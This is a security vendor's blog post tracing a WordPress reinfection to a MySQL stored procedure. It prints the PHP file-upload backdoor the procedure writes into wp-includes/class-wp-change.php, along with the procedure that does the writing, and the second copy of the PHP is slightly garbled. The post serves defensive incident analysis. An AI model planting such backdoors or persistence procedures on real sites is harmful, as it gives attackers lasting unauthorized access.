Leveraging Stored Procedures for Nefarious Purposes

Here at Sucuri, we clean thousands of websites on a daily basis, and while some of them are easy to solve, others may require more investigation in order to find the root cause.

We’re used to seeing different causes of reinfections on web sites, which can be grouped into the following types:

        1 - Reuse of passwords: This scenario occurs when credentials are leaked after a site compromise. Attackers often leverage these leaked passwords to access other systems which may be using the same password.
        2 - Site vulnerabilities: Outdated and vulnerable software are a common cause of malware infections. It is important to keep plugins, themes, and CMS’ up-to-date at all times.
        3 - Shared server infections:. This scenario occurs when multiple websites are stored on the same server or FTP account and a compromise (or infection) occurs. If one website is infected, it’s very easy for the infection to spread to every website on the server.
        4 - A backdoor is still present in your site: Even if you’ve removed any visible malware, you might still have hidden backdoors that attackers can use to compromise and reinfect your site.

Technical Details

A website reinfection was occurring after a a file was repeatedly being added to WordPress core: “wp-includes/class-wp-change.php”

We made sure that all passwords were changed and not reused, reviewed users, checked all files, and ensured the environment wasn't prone to cross-contamination. Only one thing was left to check: the database.

We came across the following data inside of a table called "foo":

"<?php if(isset($_GET['good'])){if(isset($_FILES['im'])){$dim=getcwd().'/';$im=$_FILES['im'];
@move_uploaded_file($im['tmp_name'], $dim.$im['name']);
echo\"Done: \".$dim.$im['name'];}else{?><form method=\"POST\" enctype=\"multipart/form-data\"><
input type=\"file\" name=\"im\"/><input type=\"Submit\"/></form><?php }} ?>"

As you can see, it's a PHP code which loads a form that uploads a file into the server. But how is it loaded? Since we know that foo is not part of the WordPress database structure, how is it being called?

After checking the database a little deeper, we learned that the code was part of a mysql stored procedure that had been created during the site compromise, allowing attackers to maintain access to the environment.

Once executed, the stored procedure creates the table called “foo” with the malicious code. It then dumps the content into the file ‘wp-includes/class-wp-change.php’.

BEGIN
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
INSERT INTO `foo` VALUES ("<?php if(isset($_GET['good']))et($_FILES['im'])){$dim=getcwd().'/';
$im=$_FILES['im'];@move_uploaded_file($im['tmp_name'], $dim.$im['name']);echo\"Done: $dim.$im['name'];}else{?><
form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"im\"/><
input e=\"Submit\"/></form><?php }} ?>");
SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE 
'/home/user/public_html/.website.wp-includes/class-wp-change.php';
DROP TABLE IF EXISTS `foo`;
END

Conclusion

Since it’s not a very popular feature, stored procedures can easily be overlooked by untrained professionals or inexperienced website owner. Investigating the root causes of an infection and going deeper to solve our clients problems is part of our job. If you need any assistance, please don't hesitate to find us.